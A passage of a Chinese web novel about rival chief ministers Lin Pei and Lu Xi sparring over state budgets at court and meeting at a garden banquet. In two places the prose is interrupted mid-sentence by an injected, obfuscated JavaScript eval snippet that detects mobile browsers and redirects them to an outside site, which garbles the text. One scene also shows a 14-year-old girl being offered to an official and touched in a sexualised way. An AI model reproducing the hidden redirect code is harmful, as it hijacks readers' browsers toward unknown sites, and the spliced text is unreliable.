林佩背过手,绕着地图走了几步,笃定道:“拿不出。” 陆洗拦道:“我有一法。” 林佩道:“什么办法?” 陆洗一笑,眼中流光:“听闻户部今年有两百万两用于广南宣政的度支,我觉得大可先借一部分来,等明后两年再补上。” 林佩张了张口,欲言又止。 每年从户部拨的款项成百上千笔,偏偏这一笔被挑中,必不是巧合。 这人刚才还向自己示弱,却就一盏茶功夫便露出了尖利的獠牙。 5. 争锋(上) 陆洗道:“你怎么不说话?” 林佩走回原位,不禁发出一声感叹:“陆大人好快的刀。” 陆洗道:“过誉了。” 林佩提醒道:“你想动这笔钱,可知这笔钱是用来做什么的吗?” 陆洗道:“我见户部账上主要是什么宣扬圣德、广招人才、兴办学府,说白了就是贴补地方,我也在地方待过,一看账目就知其中不实,至少没有什么是当务之急,可以缓几年再做。” 林佩再一次沉默。 若说前面是无心之言,那么后面这句就绝对是有的放矢。 陆洗再一次追问:“如何?你觉得可在理?” “在理。”林佩没有再争辩,用一种淡然的口吻回道,“事有轻重缓急,我与方尚书是同门师兄弟,我回去劝他,且先让出这笔钱,之后若国库有盈余再补上。” 陆洗笑了:“太好了,三月朝会我即禀奏此事,还望你与我政见保持一致,共襄盛举。” 炭盆正旺,热浪升腾。 地图前的空气泛起波纹。 林佩看着陆洗离去的背影,把手攒进袖中,闭眼小憩。 * 三月,朝会前夕。 林府书苑,风雨连廊之下站着方时镜、杜溪亭、尧恩、于染四位部院堂官。 林佩凭栏而坐。 杜溪亭道:“知言,难道你真要把这笔钱让给别人去立功邀宠?” 林佩道:“我如果让了……” 他抬起眼打量四人的神色。 方时镜一声不吭,面色冷峻。 于染捋着胡须走来走去,不时嘶地吸一口气,似在认真思考。 风过,池水微澜。 “没有如果,我们不能让。”林佩把身子往后靠,面容没入阴影之中,“南方之事尚未解决,绝不可妄动西北,太后深居后宫,对前朝政事还是知道的太少。” 方时镜道:“对,明日文华殿上,即使是触太后逆鳞,我也要与陆洗辩个黑白。” 林佩道:“你先不要请命,毕竟广南是你故地,容易被说出于私心。” 方时镜道:“那万一他抢了先机,该当如何?” 于染忽然转身,像领悟了什么,笑道:“方尚书误虑,先前陆洗私下找我问户部度支,我还不明白林相为何要我断章取义地给他看那几笔,现在才明白原来是诱鱼上钩。” 方时镜一怔:“什么?” 于染道:“方尚书明日就等着看好戏吧。” 方时镜道:“知言,你答应过我,这笔钱不会再克扣我的。” 林佩道:“抱歉事先隐瞒了你,确实不是两百万两。” 方时镜道:“那是多少?” “五百万。”林佩洒下手中鱼食,抬眸道,“剩下的三百万是给兵部拨前军都督府的军饷。” 方时镜又是一怔,这回话都说不出来。 幽绿池水涌起白浪。 锦鲤争食,如红花锦簇。 “哈哈哈哈。”杜溪亭大笑,对空中明月抱拳行礼,直道,“怨不得吴老丞相从不吝啬对知言的溢美之词,知言运筹帷幄决胜千里,不像我,一点事都藏不住。” “林相。”于染道,“下官照你的吩咐做,一定不让陆洗得逞。” 林佩点了点头。 几位尚书在林府达成了某种默契——朝堂上来了一个不速之客,在摸清彼此底细之前,他们选择暂时相信一向能顾全大局的林佩。 * 天将明,宫门徐徐打开。 文华殿的重檐歇山顶金碧辉煌,两座阙楼如鸾凤张开的双翅。 文武百官列队走过。 林佩和陆洗二人在文官之首,皆戴七梁冠,腰悬玉佩,下披云凤四色花锦绶。 大殿金砖映着御座前的烛火。 皇帝朱昱修往身后看了一眼。 太后董氏坐在珠帘后面。 她单字名嫣,因为喜欢看花开,便让宫人在周围插满了牡丹,牡丹花娇嫩欲滴,为周围添色。 林佩持笏禀奏近期事务,一如往日,说完退回自己的位置。 朱昱修看了看陆洗,稚嫩的脸上满是迷茫,显然还不适应母亲给自己新添的这位辅臣,只试探性地叫了一声右相。 陆洗出列:“臣在!” 声音之洪亮,把朱昱修吓了一跳。 但当陆洗走上前来,看清面孔,朱昱修又不怕了。 “右相不必多礼。”朱昱修露出笑容,道,“朕很喜欢你献的狮子猫,他日得空,朕定也要瞧瞧你说的那只用一条小鱼干聘来的简州三花。” 陆洗微笑:“臣遵旨,臣不胜惶恐。” 群臣一阵议论。 董嫣咳了咳以示提醒。 朱昱修道:“对了,朕有一事要问右相,北方近年来风调雨顺,草原各部兵强马壮,对中原虎视眈眈,而朕年纪尚小,不能亲政,万一他们别有所图,举兵南下直捣金陵,该当如何?” 陆洗道:“臣以为朝廷应该化被动为主动,按照惯例,新帝登基初年当受各国使节朝贺,以显新政之稳固,安抚天下人心,臣观平北之地左环沧海,右拥太行,南襟河济,北枕居庸……” 当陆洗阐述升平北为北直隶的观点时,龙椅之后,一只纤细白皙的手不动声色地撩开了珠帘。 林佩知道董嫣在看自己。 他没有说话,直到陆洗发问。 “知言你如何看?”陆洗侧过身,对林佩眨了眨眼,笑道,“升平北为北直隶,此计可行否?” 林佩把笏板横放在手中。 陆洗正要追问,忽听身后传来不一样的声音。 “陛下,臣认为新立北京一事不可操之过急。”杜溪亭先声夺人,“朝廷颁布政令应当有章可循,稍不小心,前朝幽州之乱便是前车之鉴。” 于染跟着出列,皱眉斥道:“右相说的容易,又是重修宫殿,又是举办国之大典,又想赶在今年秋季落成,不知要耗费多少人力物力,而今国库空虚,绝不是逞强撑面子的时候。” 杜溪亭说的是一个缓,于染则更强势,直接说的是一个否。 “右相又不是说迁都。”工部尚书董颢折中缓和,“只是新立一京,不至于动摇国本。” 尧恩接着加入辩论,说各立一京易造成南北割据对抗,言辞之犀利,丝毫不给董颢情面。 钦天监则以天象不吉为由否定陆洗的主张。 大多数人反对陆洗。 议论一浪高过一浪。 “啊你们别吵了。”朱昱修捂住耳朵,直呼好烦,“朕的耳朵要聋了。” 太监拿起金槌,敲了敲钲。 叮—— 一声鸣金似冷水浇入沸锅。 满朝争论戛然而止。 “知言。”陆洗看向林佩,眼中些许失落,“你之前可不是这么说的。” 林佩抖了抖衣袖:“我说的什么?” 陆洗道:“说好礼部先让出二百万两银子,你我政见保持一致,你怎么改口了呢?” 林佩轻轻一笑,如蜻蜓点过水面:“我何时说过这话 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林佩道:“回太后,臣以为平北无急事,鞑靼屡次骚扰只为试探,不敢真动干戈,若为受各国朝贺,可依照先帝时期的做法,限制各部族入关人数,在北山行宫举办大典,就行了。” 陆洗道:“林大人,太后问的是户部报的账目是否有误。” 林佩的神情静如潭水,良久也没有回一个字。 董嫣道:“账目不明,恐难执行,广南宣政之事待左相回去核实之后复议。” 林佩拿起笏板,就在此刻打断道:“臣所作所为即为阜国长久考虑,太后今日一定要问吗?” 群臣鸦雀无声,唯他一人的话音在大殿之中回响。 董嫣深吸一口气,牵起朱昱修的小手,紧紧握住。 这个女人虽然看起来娇柔,是成是败,从未在大事面前退缩过。 林佩道:“温迎,调秘书院档案,永熙十八年至二十二年,仰州第六卷,第二册。” 温迎奉命。 秘书院主事领着一众书吏入殿。 柜阁中尘封多年的公文被重新翻出。 永熙十八年,先帝为解除十王府驻扎京畿附近的十万大军的威胁,在广南给他们划出一片封地,以地权作为交换收回了军权。此举当时的确是拿掉了架在皇城脖子上的一把匕首,但广南一十二州的天空从此笼上了阴云。 十王府的势力在地方作威作福还是绰绰有余,他们巧取豪夺,侵吞民本,干涉行政,全然不把当地官员放在眼里。 当地官员因此叫苦不休,而先帝晚年的批复之中唯有寥寥几个字。 【宣抚怀柔】 看到这几个字,大部分官员的理解都是由朝廷出钱补贴地方,只有礼部尚书方时镜一直在为家乡的百姓申辩。 林佩道:“太后,右相刚刚提到仰县兴办学府所用的四十万,臣之所以不回答,是因为臣知道那只是各级官员为了维护朝廷尊严而想出来的一个名目,臣不想捅破窗户纸。” 董嫣闻言微怔。 太监把椅子从幕后搬出来,扶着她坐下。 林佩道:“但是太后今日既然问起了,臣亦不敢隐瞒,眼下的京城固然太平安康,但过去欠的债总是要还的,如果继续拖下去,这笔开支只会越来越多。” 方时镜这才在万众瞩目之下出列,缓缓从袖中拿出一道奏本:“太后问此事当如何处理,臣以为宣抚怀柔四字不仅指的是花钱了事,其最终目的应该是收归统一,是故,礼部每年都上这么一道本子,今年仍不例外,为阜国长治久安,请上观阅。” 6. 争锋(下) 奏本递到御前。 朱昱修一字一字指着,却还有许多词句读不通,问董嫣是什么意思。 这道奏本的意思大致是,朝廷拨款五百万两白银,由礼部牵头在广南开展一场自上而下的宣政,重整地方之治。 董嫣被堵得说不出一个不字。 尽管当年令十王府南迁保京城太平是先帝之意,但眼下这笔旧账却是被不知情的她自己问出来的,她不能再装聋作哑拖欠下去。 林佩以户部度支为饵,先诱陆洗咬钩,而后顺理成章把朝廷和十王府不可避免的矛盾归到太后身上,而他本人则是尽了为臣的本分。 方时镜看向林佩的背影,眼中饱含钦佩。 董嫣一声长叹:“如此,便依左相之意。” 朱昱修拿起御笔,当文武百官的面批准了这道奏请。 一切尘埃落定。 朝会似也已接近尾声。 ——“陛下圣明。” 林佩擦完笏板,退回左侧。 余光之间,他发现陆洗还一动不动地站在正中。 御前烛火如飘舞的金花,那一人一影似在经受锻打。 林佩咳了咳:“陆大人还有什么话想说吗?” 陆洗背对着他,笑了一声:“知你对阜国一片忠心,可说白了你不就是怕事情办不顺利想多要点钱吗?此事是出在我身上,我不该动用于广南宣政的钱,然而太后深居后宫,见到一笔可疑的开支,多问一句,难道也要被你做成靶子去挡十王府的箭吗?” 林佩没想到陆洗敢如此直言,不作回答。 陆洗道:“我就不自证清白了,怕越描越黑,我只想当众问你一句,以防你日后又改口。” 林佩道:“你问。” 陆洗道:“如果不从国库拿一分钱,暂时也不谈新立一京,只让陛下于秋防之前在平北行在接受诸国使臣朝贺,开此先例,保直隶后世无恙,你觉得可行否?” 林佩道:“没有钱,没有名,今年就办不成,朝堂之上你不要跟我斗气。” “陛下,太后。”陆洗扶了一下梁冠,举起笏板,深吸气道,“臣不是斗气,而是必得争这口气,臣方才说到一半被打断,若不把气捋顺,那朝堂从今往后就再也没有臣的立足之地了。” 朱昱修道:“右相,你也别太委屈,有什么就说。” 陆洗道:“宋轶,把那三个箱子搬上来。” 宋轶带人上殿,把木箱呈在御前。 微风吹动两侧官员的衣袍。 林佩闻到木箱散发出的雪松的气味,忽然眼皮一跳,意识到对方留有后手,朝会远没有结束。 宋轶奉命打开箱子。 第一个箱子里面是皮草,第二个箱子里面是人参,第三个箱子里面是马具。 陆洗道:“陛下,太后,臣赴京之前奉令去北方各省走了一趟,谈下了这几笔生意。” 众人不知何意,一片议论声。 陆洗不紧不慢道:“晋北、平北、辽北三省布政使与臣许下承诺,倘若朝廷有意将来升平北为直隶,他们愿意先行垫补资费,用于修缮城池和举行大典。” 朱昱修道:“垫补?” 陆洗道:“就是不用朝廷拨款,由地方度支。” 朱昱修揉了揉眼:“地方能有多少钱呢?” 陆洗道:“晋北六十万,平北八十万,辽北七十万,合计二百一十万。” 朱昱修道:“他们从哪儿来的这些钱?” 陆洗指着三个箱子解释道:“陛下,这几样东西卖到南方有数倍之利,臣在地方待的时间久,与各省布政使都有些交情,故臣说服他们以采办之名买下了这些。” 朱昱修道:“这三个箱子竟然值这么多钱。” 陆洗笑道:“不止这三个箱子,陛下,是数以万计的箱子,水陆两路分三年输运。” 说到这里,众人已经明白了。 原来陆洗近期见的人不是京城哪个衙门的官吏,而是从晋北、平北、辽北、湖广、浙东、江鄱、川西等地来报信的信使。 陆洗巧借行省之间采办物资的名目,通过贸易创造利润,再让地方做账预支这笔钱,化零为整,凑齐了在平北修缮城池和举行大典所需的百万开支。 董嫣看到侃侃而谈的陆洗,眸中渐明,似找到了一丝希望。 陆洗道:“陛下,截至目前钱粮及劳工都已从州府调配齐全,也不需立刻升平北为北直隶,只要陛下表示愿意去那里小住几日,接受外国使臣朝贺,一切立刻可以开始筹备。” 董嫣欣然道:“右相,这些事你当真就办下来了?” 陆洗道:“承蒙厚爱,臣怎敢不殚精竭虑以报陛下。” 殿中议论不休,大多是斥责陆洗擅离职守,应申上而不申上,擅自起差人工,有违工律。 然而与其说是斥责,不如说是这些高居庙堂的文人学士对一个来自地方久经磨砺的封疆之吏的恐惧。 地方之制分设三司,布政使司主理民政,按察使司主管刑名,都司掌兵。先帝一朝在三司之上又设巡抚之职,可由部院堂官兼任,也可在某个时期内特设。 陆洗正是利用担任巡抚以来节制平北的权力攒下了入阁的资本。 阜国统共一十三个省,现在光是摆在殿中的箱子便涉及七个省的通关符牒,且如此大宗货物的交易竟能在事前把消息隐瞒得滴水不漏,其人脉和手腕不言而喻。 “右相。”于染咳嗽一声,拈着胡须道,“既然是你自己说的不从国库拿一分钱,那么就请记牢,别到头来又拐弯抹角地找下官。” “于染,我是你的上司。”陆洗道,“当堂顶撞上司,三番五次不知收敛,你该当何罪?” 董嫣见群臣仍有异议,憋向林佩。 林佩会意,原地转身,目光扫过大殿。 只这一下,群臣缄口不言。 董嫣道:“左相,你看这样可以吗?” 林佩回过头,躬身道:“臣无异议,只有一请。” 董嫣道:“请讲。” 林佩道:“陛下北上,中军、后军都督府应按兵部职方司调兵令进行防卫部署。” 董嫣没有犹疑,直接回道:“兵制乃先帝所定,本宫无权更改。” 林佩道:“好。” 朱昱修打了一个呵欠,对陆洗道:“朕准了,今秋在平北举办大典,受各国朝贺。” * 三月大朝结束,左右丞相各请一命,难分高下。 钟声悠远。 林佩和陆洗肩并着肩走出宫阙,穿过东华门,一同来到神乐观前的那株古老的银杏下。 不同于宫殿的庄严氛围,这处皇家道观附近处处蕴藏生机。 树枝发着嫩绿的新芽。 春燕穿梭其间,衔泥筑巢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749263|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 童子放下扫帚,对走来的二人行礼。 “林大人,此处草长莺飞,春光正好,可你却伤透了我的心。”陆洗叹口气,“早先听闻林家二郎霁月清风,正直君子,原以为会和别人不同,没想到都是一丘之貉。” 林佩平静道:“有句话早该对你说。” 陆洗道:“什么话?” 林佩道:“林某人恭迎右相入京。” 陆洗会心一笑,背过手:“这样的京城,不来也罢。” 已经交过了手,二人说话不再客气。 林佩道:“你是如何说服那几个省的布政使的,得花多少钱才能走通关系?” 陆洗道:“林大人高看我了,我其实是一个穷人,不过因言而有信,许下的承诺一向都能做到,所以几位布政使才愿意相信我。” 林佩笑了笑:“你这会儿来嘲讽我,自己何尝不是留有后手?” 陆洗摇头道:“不得已啊,从小父母兄弟教我与人为善,可我闯荡半生,从未被人善待过。” 林佩道:“陆大人今日有空否,放衙后我请你去一个地方。” 陆洗往前快走了两步,摆摆手:“不了,从今以后林大人在我这儿是无信之人,我与你只有公事,没有私事。” 林佩停下脚步。 不知为何,他的心刺痛了一下。 “陆余青,是你突然闯入文辉阁搅扰所有人的清静。”林佩道,“我与你非亲非故,凭什么我要善待你?” 香烟飘过。 视线时而模糊时而清透。 陆洗站了片刻,突然转头回来。 林佩些许疑惑。 他还不很了解陆洗,但他确实看到陆洗的眼眶泛着浅红。 或许是被烟熏着了,又或许有更深的缘故。 陆洗没有打一声招呼,走到跟前,直接抓过林佩腰系的玉佩,低头和自己的对比起来。 金钩的大小; 玉花的雕工; 玉珠串的颗数。 玉佩上所有细节,陆洗都比得很认真。 林佩听到对方微喘的呼吸,看着那泛白的指节,很直接地感受到一种与命运抗争的情绪。 陆洗道:“为什么是‘闯’?” 林佩的喉结动了一下。 陆洗道:“我本末流,而你们生来就在青云之上,所以我闯了你们,对吗?” 林佩道:“你怎么想我随便,但你不能怀疑赐给我们的一品组佩不一样。” 陆洗道:“就是不一样,看这里,我有几缕云絮,而你的晶莹通透。” 林佩又好气又好笑:“谁人计较这些,你觉得我的种水好看,换了解气便是。” 陆洗道:“好,现在就换。” 林佩没有想到,几句玩笑之间,陆洗真的把自己的玉佩给摘了。 两枚玉佩握在手心,同样的温度,同样光滑的触感。 只是那一刹,陆洗又犹豫了。 林佩道:“你到底换不换?” 陆洗道:“人心真是古怪,方才我见你戴的是这枚,便觉得这枚好看,可现在要换了,我又觉得自己原来那枚好看。” 林佩道:“我看是你这人最古怪。” 陆洗道:“放衙之后你要请我去哪儿?” 林佩白他一眼,抽回自己的玉。 ——“南淮河,青霖宴。” 7. 青霖宴 每逢三月,京中开放宵禁,名流喜外出游园。 南淮河畔有一处园子,因古人题字“平地青云沛雨甘霖”,故名青霖。 青霖历来受名流喜爱,附近开有许多酒肆茶坊,夜夜笙歌,繁华如梦。 园子正中却是一方隔绝了所有喧嚣的湖水,乘舟渡过,只觉万籁俱静,唯见岛上幽兰伴月,有暗香袭人。 此处便是林佩约陆洗见面的地方。 他想到接下来的数月自己要致力于广南宣政,先和陆洗约法三章,才好腾出手办事。 月下,小船缓缓驶过湖面。 林佩穿深绿长衫,发簪墨玉,一身素净。 他静静地坐着,目光停留在陆洗的身上。 陆洗站在船头,一袭宝石蓝暗纹缎面袍衫,云肩刺绣四兽朝麒麟,膝处有祥云海浪纹彩横襕,腰竖戏狮纹玉带板,头戴玉雕发冠。 林佩知道陆洗进京的排场铺得很大,坊间传其“绡金绫罗,衣不重样,食必珍馐,每膳不下三十品,行有八宝香车,骏马雕鞍,扈从如云”。 这样的人,他过去的确很看不上。 可当他想到今晚陆洗这身打扮是为了来见自己,内心又生出一种想要多看两眼的欲望。 小船靠岸。 童子提灯引二人走过栈桥。 陆洗左右顾盼,连连称奇:“来这样的好地方不知要花多少钱,一定很贵。” 林佩道:“我与廉园主乃故交,在此喝茶不谈钱。” 陆洗摇着折扇笑了笑:“到底是我说话太俗,林大人见谅。” 轩中茶点已摆好。 轩门敞开,月光如洗。 几位面容姣好的女子坐在对面的晴虹亭下修剪兰花。 陆洗望景致坐下,一声短叹:“还以为林大人真不食人间烟火呢。” 林佩道:“我只是喜欢清静,并非清高。” 陆洗道:“你想与我谈什么?” 林佩道:“谈一种新培育出的兰花,你看那几盆,因其瓣若蝉翼,色如点翠,所以园主给取了一个名字,叫翠蝉。” 翠蝉原本一盆只长一株,先要将其整株剪掉,只留半寸根茎,挖去中间植肉,然后在切口两侧均匀涂以肥料,使之长成双株,日后才能达到花团锦簇的效果。 陆洗很快领会了林佩的言下之意。 林佩借兰花比喻当今朝局。 陆洗道:“明白了,你想和我讲规矩,讲中庸之道。” 林佩道:“京城水深,任何人想要生存就必须遵循既定的规则,我知道你过去的每一步都是富贵险中求,但那不能说明规则不重要,只是当时你站的地方不够高而已。” 陆洗道:“我这人不喜欢猜谜,你有什么是不容触碰的,请直言。” 林佩道:“我有三事,不容你触碰。” 陆洗道:“嗯?” 林佩道:“第一,不要碰礼部春闱,第二,不要碰吏部考功,第三,不要碰刑部司法,这些事是高屋建瓴,非你之所长。” 陆洗笑道:“就一点儿都不能碰吗?” 林佩道:“我不是在与你商量,而是告知于你,如果你不服气,大可试试我的软硬。” 陆洗想了想,道:“明白,杜溪亭、方时镜、尧恩都是你的人,可你怎么不提于染?他对你可谓说一不二,文华殿上也是反对我最彻底的人之一。” 林佩道:“我只对事不对人,朝堂之上没有谁是谁的人。” 陆洗端起茶盏,放在唇前闻香。 林佩忽地想起什么:“还有一事。” 陆洗深吸口气,微笑道:“大人吩咐。” 林佩道:“不要打陛下的主意。” 陆洗道:“我有几个脑袋敢打陛下的主意?” 林佩道:“譬如进献齐东狮子猫,这样的事就下不为例。” 陆洗啧了一声:“献个礼物也要管,怪不得陛下不喜欢你,你这人管的真宽。” “陆大人,或许陛下是不喜欢我。”林佩转身,目光毫不避让,“可你也该清楚,太后拔擢你并不是因为陛下的好恶,而是因为你背后没有亲族势力,用完随时可以舍弃。” “诛心了,林大人。”陆洗的唇角不着痕迹地抽动一下,放下了茶,“你说你看上去这么斯文儒雅,怎么话里全是刀呢。” 一时之间,林佩分不清陆洗是真难受还是又故意向他示弱。 他想让陆洗知难而退,所以把话说得很重,但他看到对方端茶的手微微颤抖,忽然又觉得不是滋味。 “我的话说完了。”林佩道,“你也可以说说你的底线,若非必要,我不逾越。” 陆洗道:“但我已经被你骂疼了,得让我缓缓。” 林佩道:“这三珍白玉糕是专为你准备的,性温养胃。” 陆洗苦笑,摇摇头道:“多谢你还记得我的这点儿难言之隐。” 桃花形的凉点,似白玉雕刻而成。 入口即化,一股山楂和陈皮混合的香味飘散开来。 林佩开口:“吃完了,缓过来了吗?” 陆洗道:“好多了。” 林佩坐下,端起茶,抿了一小口。 陆洗道:“思来想去,我好像没给自己立过什么规矩,不过我与你相反,我只看人,不看事。” 林佩道:“此话怎讲?” 陆洗道:“世间万事皆在于人,解决了人就能解决事,一个人用在对的地方,即使困难再大他都可以突破重围,一个人用错了地方,即使大好的局面交到他手里也会变得乌烟瘴气。” 林佩道:“你喜欢怎么样的人?” 陆洗道:“清醒务实的人。” 林佩道:“你讨厌什么样的人?” 陆洗道:“骗我的人。” 林佩抬起眼:“这道坎过不去了是吗?” 陆洗笑了,解释道:“不至于不至于,一次就算了,但不能有第二次。” 林佩道:“好,记下了。” 两个人简要地达成了共识,之后半年,林佩的主要精力将集中于广南之治,而陆洗则负责筹备北方朝贺相关事宜,二人尽量不犯对方忌讳,不把事情拿到朝会上吵。 不一时,园主廉纤从廊下走来,隔着窗户问话。 林佩回道:“谈完了,走走?” 陆洗道:“好。” 廉纤带路。 几人出门散步,正见蝴蝶飞过晴虹亭侧的兰花丛。 鲜艳长裙风中飘动。 姑娘们笑语嫣然,任几缕碎发随意地落在脸颊边。 廉纤道:“尔等还不见过贵人。” ——“小女见过相爷。” 她们被教得很好,会叫人,也懂礼仪。 陆洗道:“园主这是何意?” 廉纤躬身:“陆相,她们原本都是书香门第的官家女子,家门遭变之后托庇于旧交门下,若蒙相爷不弃,择一二伶俐的带回去,权当是救拔沉沦的功德。” 陆洗把折扇搭在手里,笑道:“怎么不让林大人也积些功德?刚才他亲口说的,他不清高。” “并非在下不想。”廉纤用寻常的语气解释道,“只是林相这身份,毕竟当年钦点的驸马都尉,莫说在下,放眼京城也没有敢给他房里塞人的。” 陆洗看向林佩,眼神透出诧异:“林大人还有这段往事?” 林佩笑了笑:“许久以前的事,不怪你不知。” 林家祖上封魏国公,太宗为褒奖功臣,把允纾公主许配给林佩的父亲林亦宁,不想允纾公主不甘被命运摆布,至婚期将近,竟突然逃离京城,从此云游天下不知所踪。 到先帝一朝,迎娶公主的任务转移到林家后代的身上,林佩金榜题名的那一年,先帝有意定下林佩和纾和公主的婚事,熟料消息刚传出去,事情再生波折——林佩一病不起了。 宫里派太医轮番诊治,只道是病入膏肓,药剂难医。老夫人跪在祠堂哭求,最后托人从龙虎山请来一位老道。那道人白发如雪,只在林佩榻前静立片刻,便摇头长叹:“公子命带孤煞,若强行婚配,轻则夫妻离散,重则……双双殒命。” 先帝明知是戏也无可奈何,毕竟林佩真的病重,加之当时一些大臣上疏直谏,言林佩有经纬之才,若招驸马断其仕途,无异于折断朝廷未来的栋梁,此事也就作罢。 但经过这么一闹,涉及天家的颜面,京中再也没有第二户人家敢把女儿嫁给林佩。 林佩养好身子之后便一心扑在仕途之上,不纳妾不生子,直到官拜相国。 陆洗听完,没忍住笑出一两声。 林佩道:“很好笑吗?” 陆洗连忙补救:“不知该说什么,是命运弄人。” 林佩道:“陆大人别幸灾乐祸,听我一句劝,珍惜眼前才是。” 廉纤让姑娘们把兰花搬到前面来。 空气中混合着女子的体香与兰花的幽香。 姑娘们抬起头,一个个巴望着人,眼神缠绵悱恻。 陆洗听每个人讲过过往,选中了边上一个身材瘦小、面容苍白、相对而言最安静的女子。 这小女子名叫莳一,年十四。 “小女祖籍湖广六安,家父原是知县,因……因卷入科场弊案,被削职流放。母亲忧思成疾,未及半年便去了。时逢饥荒,族中叔伯欺我孤弱,变卖宅邸田产,将我送来京中……” 她能进这个园子,琴棋书画自然都是学过的,姿色也不会差,只是身子还没有长开,说话透着青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749264|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涩,始终不敢抬眼看人。 廉纤道:“陆相若不嫌弃,蒔一往后就是你的干女儿。” 莳一闻言,立即敛衽下拜。 陆洗笑道:“多谢廉园主的心意。” 青霖之游接近尾声。 陆洗把莳一抱上了小船。 小船折返。 林佩依然静静坐在旁边。 莳一没有穿鞋,赤着玉足,低头弱声问陆洗:“园主不让我们穿鞋,相爷能给我买双鞋吗?” 陆洗一笑,用折扇撩起她裙摆,拨弄她脚踝上的银链子:“你若到了我府上,往后过的就是脚不沾地的日子,要鞋有何用?” 莳一抿了抿唇,手攥着衣角,显得局促不安。 陆洗道:“方才你说你是湖广六安人?” 莳一道:“是。” 陆洗道:“自从建了常平仓,那附近已经很久没有闹过饥荒,倒是有一拨人弃农从商,卖掉了田地改建茶园,他们精于钻营,把当地一些贫苦出身的女子培养成艺妓送入京城,期望她们接触上流,推广家乡的六安茶,这些女子叫六安女,你就是其中之一。” 莳一抬起头,惊惶道:“相爷怎知我家乡的事?” 陆洗捏住她的下巴:“我现在再给你一条路,你把我的这扇子拿去,先用扇坠换一双能走远路的鞋,然后翻过北定山,到观澜镇找一个叫吴香的民间仵作,拜师学技。” 林佩侧过身投去考量的目光。 他真正是见过纨绔子弟的下流荒唐,所以看得出陆洗这趟收留莳一仅仅是对他的试探做出回应,也算是卖廉纤的面子。 他却没想到陆洗把原来治下一个小小村落的事记得如此清楚,更让他动容的是藏在陆洗眼底的那一份对底层贫苦百姓的悲悯。 “相爷带我走,难道不为陪酒作乐吗?”莳一咬紧嘴唇,身子轻轻颤抖着,“为何要给我第二条路?” “我是可以让你陪酒作乐。”陆洗嗯了一声,指尖扫过她的唇瓣,“但如果你连自己的身世都编不明白,就不是做六安女的料子。” 莳一陷入思考。 陆洗笑了笑道:“而你的这双手,修剪花草的时候比任何人都干净利落,如果得高人指点,多年以后你就会是阜国屈指可数的女仵作,不仅可以主宰自己的命,还可以改变别人的命。” 莳一把这番话听进了心里。 她的眼神不再空洞。 陆洗松开手。 “多谢相爷提点,你是我的贵人。”莳一接过陆洗的折扇,似下了某种决心,跪下磕头,大声道,“小女将来若有所成,必肝脑涂地报答相爷的恩情。” 船靠岸。 繁华夜市,喧嚣扑面而来。 陆洗目送莳一消失在人群中。 林佩道:“你怕是要白搭一把扇子。” 陆洗道:“没办法,陆某认了,与其被别人在身边放眼线,不如试试让这眼线为己所用。” 林佩道:“这件事我不如你。” 陆洗道:“你竟也有自认不足的时候。” 林佩道:“我不劝风尘,不对她们心生怜悯,更不会出手相救。” “也对。”陆洗拍了一下林佩的肩膀,笑道,“你可是命带孤煞的男人。” 林佩后退半步,没回此话。 夜半,二人的马车在街口分开,各自回府。 * 林佩没有再听到关于蒔一的消息,只听说陆府不久便回了青霖一万两白银用于“养护花草”,大抵那个小女子是改换门庭为其所用了,也得见陆洗与人相交一贯大方。 一万两白银在京城引起了不小的热议。 御史上奏弹劾,但本子均被留中。 是日,各部尚书到文辉阁找林佩议事。 方时镜带着礼部两位侍郎走进院门。 杜溪亭、于染、董颢、贺之夏四位尚书陆续来到。 林佩坐在书案前,道:“今天叫大家来听一听礼部起草的广南宣政的草案。” 见温迎还在摆地图,几位尚书闲聊起来。 “一万两银子。”于染算起账来,“正二品官职一年的俸禄不过三百两,他居然随手就拿出一万两买艺妓。” 温迎让小吏把门关上,微笑道:“于尚书,隔墙有耳,如今文辉阁可不止左边这间屋子坐着堂官。” 杜溪亭道:“实话实说,一万两银子确实是多了,即便青霖一带是京城消息最灵通的地方,和廉纤结交也不至于这么花钱,他抬的是咱们所有人礼尚往来的价。” 温迎赶紧铺好地图。 方时镜忙于准备发言,没有加入议论。 林佩开口:“别管人家一万两银子了,这儿有五百万两银子的要事,礼部开始吧。” 8. 广南宣政(上) 方时镜站在地图前,先逐一分析广南十二州的政令与朝廷有出入的地方,然后总揽全省,阐述了宣政的范围、内容和人员,从行省、州府到乡县都有部署,紧接着是和十王府谈判的时间及动用的钱款。从头到尾,他没有看过一次稿,却没有一处说的与稿件不符。 众人听完,由衷感慨:“方尚书虑事周密,宝刀未老。” 方时镜道:“只是我有一些忧虑,多年过去,十王府与当地的人已经交融在一起,惠阳王朱襄可谓一手遮天,倘若他们不愿意改过,割据自立,该当如何?” 林佩道:“你只管磨好这一剑。” 方时镜道:“何解?” 林佩先不做解释,缓缓放下手中稿件,拿出钥匙,吩咐温迎去取敕谕。 众人安静。 听林佩发令就像置身于一局必胜的棋局之中。 林佩道:“兵部职方司出调兵令,发文前军都督府广南都司,领三百万饷,五月加强各隘口兵力,一处隘口添三万,六月以巡防海患为名合兵十万驻扎于广州城外,无令不得出击。” 温迎把敕谕交给兵部尚书贺之夏。 贺之夏领了命,先行告退。 林佩道:“户部、工部协助兵部转运上述粮饷,前调南平仓屯粮,后调沙江仓屯粮,限下月中旬完成;另支太仓银库两百万两运送至广州府,协助礼部,供宣政所用,限下月底完成。” 